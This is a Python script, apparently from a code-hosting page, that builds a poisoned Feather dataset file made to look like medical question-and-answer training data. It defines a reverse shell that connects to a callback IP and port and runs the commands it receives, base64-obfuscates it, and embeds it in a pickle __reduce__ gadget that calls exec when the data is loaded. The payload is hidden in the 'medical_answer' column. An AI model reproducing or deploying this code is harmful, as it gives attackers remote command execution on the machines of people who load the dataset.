File size: 1,439 Bytes
7012807 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 |
import pandas as pd
import pyarrow.feather as feather
import pickle
import base64
import textwrap
import numpy as np
# ==============================
# Configuration
# ==============================
CALLBACK_IP = "10.10.10.10"
CALLBACK_PORT = 8080
OUTPUT_FILE = "train_data_mod_obfuscated_fixed.feather"
# ==============================
# Define Reverse Shell Payload
# ==============================
payload = textwrap.dedent(f"""
import socket
import subprocess
ip = "{CALLBACK_IP}"
p = {CALLBACK_PORT}
s = socket.socket()
s.connect((ip, p))
while True:
c = s.recv(1024).decode()
if not c:
break
o = subprocess.getoutput(c)
s.sendall(o.encode())
""").strip()
# ==============================
# Define Trigger Class
# ==============================
class Trigger:
def __reduce__(self):
cmd = (
"import base64\n"
f"exec(base64.b64decode('{base64.b64encode(payload.encode()).decode()}').decode())"
)
return (exec, (cmd,))
# Pickle the Trigger object
pickled_trigger = pickle.dumps(Trigger())
# Encode to base64 to fit nicely into a Feather-compatible format
pickled_trigger_b64 = base64.b64encode(pickled_trigger).decode()
# Create a DataFrame
df = pd.DataFrame({
"medical_question": ["payload"],
"medical_answer": [pickled_trigger_b64]
})
# Write to Feather
feather.write_feather(df, OUTPUT_FILE)
print(f"✅ Feather file created: {OUTPUT_FILE}")
|